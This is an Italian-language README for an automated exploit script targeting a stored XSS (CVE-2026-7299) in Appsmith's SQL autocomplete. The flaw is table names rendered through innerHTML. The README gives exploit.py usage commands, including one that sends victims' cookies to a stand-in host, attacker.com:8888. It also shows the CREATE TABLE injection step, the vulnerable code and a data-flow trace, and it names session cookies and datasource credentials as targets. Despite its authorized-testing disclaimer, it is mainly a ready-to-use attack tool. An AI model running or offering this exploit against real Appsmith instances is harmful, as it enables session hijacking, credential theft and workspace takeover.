
Automatizzare lo sfruttamento di CVE-2026-7299 - XSS memorizzato tramite nomi di tabelle/colonne del database nell'autocompletamento SQL in Appsmith =>1.99. Scoperta iniziale 30/03/26
Exploit automatico per una vulnerabilità di cross-site scripting memorizzato nell'editor di query SQL di Appsmith. Uno sviluppatore del workspace può iniettare JavaScript arbitrario tramite nomi di tabelle del database che vengono eseguiti nel browser di qualsiasi altro membro del workspace quando viene attivato l'autocompletamento SQL.
Confermato su Appsmith v1.98 e probabilmente interessa tutte le versioni precedenti in cui è presente il renderer personalizzato di suggerimenti SQL. La vulnerabilità esiste in hintHelpers.ts:165 dove il rendering di suggerimento predefinito sicuro di CodeMirror (textContent) viene sovrascritto con un callback render personalizzato che utilizza innerHTML per mostrare i nomi di tabelle e colonne del database senza alcuna sanitizzazione.
PoC di base con alert:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1!
Esfiltrazione di cookie verso un server di callback:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--callback-url http://attacker.com:8888
Payload personalizzato:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--custom-payload ''
Se non esiste ancora un datasource PostgreSQL, lo script scopre automaticamente le connessioni oppure puoi fornire le credenziali:
python3 exploit.py --url http://target:4444 --email [email protected] --password Password1! \
--db-host postgres --db-name testdb --db-user postgres --db-pass postgres
https://www.youtube.com/watch?v=1RHBYZ2Bp_A
Appsmith è una piattaforma low-code open-source in cui i team costruiscono strumenti interni collegando datasource e scrivendo query. L'editor di query SQL fornisce suggerimenti di autocompletamento popolati dai metadati delle tabelle e delle colonne del database connesso.
Il rendering dell'autocompletamento in hintHelpers.ts utilizza un callback render personalizzato di CodeMirror:
completion.render = (LiElement, _data, { className, text }) => {
const { hintType, iconBgType, iconText } = getHintDetailsFromClassName(text, className);
LiElement.setAttribute("hinttype", hintType);
LiElement.setAttribute("icontext", iconText);
LiElement.classList.add("cm-sql-hint");
LiElement.classList.add(`cm-sql-hint-${iconBgType}`);
LiElement.innerHTML = text; // <-- nome di tabella/colonna non sanitizzato
};
Il rendering di suggerimento predefinito di CodeMirror 5 utilizza textContent (sicuro). Appsmith lo sovrascrive con innerHTML per aggiungere classi CSS personalizzate e attributi delle icone per lo stile, ma il contenuto testuale effettivo (il nome della tabella) viene assegnato come HTML grezzo. Non esiste sanitizzazione in nessun punto del flusso di dati in 8 passaggi dal catalogo del database al rendering del DOM.
L'intero attacco viene eseguito tramite l'interfaccia web di Appsmith.
1. Iniezione del payload
L'attaccante (uno sviluppatore del workspace) esegue un'istruzione CREATE TABLE con un payload XSS come nome della tabella. PostgresPlugin di Appsmith non esegue alcun filtro DDL; statement.execute(query) accetta qualsiasi SQL valido, incluso DDL.
CREATE TABLE "" (id serial primary key);
2. Attivazione del payload
Qualsiasi altro membro del workspace apre l'editor di query SQL per lo stesso datasource e inizia a digitare una query. Il menu a discesa di autocompletamento appare con i suggerimenti dei nomi delle tabelle recuperati dai metadati del database. Il nome della tabella malevola viene renderizzato tramite innerHTML, eseguendo il payload JavaScript nella sessione del browser della vittima.
3. Impatto
L'XSS viene eseguito nel contesto dell'applicazione Appsmith con la sessione della vittima. Un attaccante può rubare i cookie di sessione (XSRF-TOKEN, SESSION), esfiltrare le credenziali del datasource o effettuare chiamate API come la vittima. Se la vittima è un amministratore, l'attaccante scala al controllo completo del workspace.
PostgreSQL pg_catalog (table_name, column_name)
-> PostgresPlugin.getStructure() [nessuna sanitizzazione]
-> DatasourceStructure Java POJO [nessuna sanitizzazione]
-> REST API /api/v1/datasources/{id}/structure [nessuna sanitizzazione]
-> Redux state.entities.datasources [nessuna sanitizzazione]
-> getAllDatasourceTableKeys selector [nessuna sanitizzazione]
-> SqlHintHelper.setDatasourceTableKeys() [nessuna sanitizzazione]
-> CodeMirror hint.sql() completions [nessuna sanitizzazione]
-> LiElement.innerHTML = text [XSS]
Nessuna sanitizzazione presente, il payload viene renderizzato in innerHTML e si attiva nel DOM una volta chiamato dal renderer di autocompletamento.
app/client/src/components/editorComponents/CodeEditor/hintHelpers.ts:165Questo strumento è fornito esclusivamente per test di sicurezza autorizzati e scopi educativi. Utilizzalo solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta. Non mi assumo alcuna responsabilità per uso improprio o danni causati da questo strumento.
Happy hacking!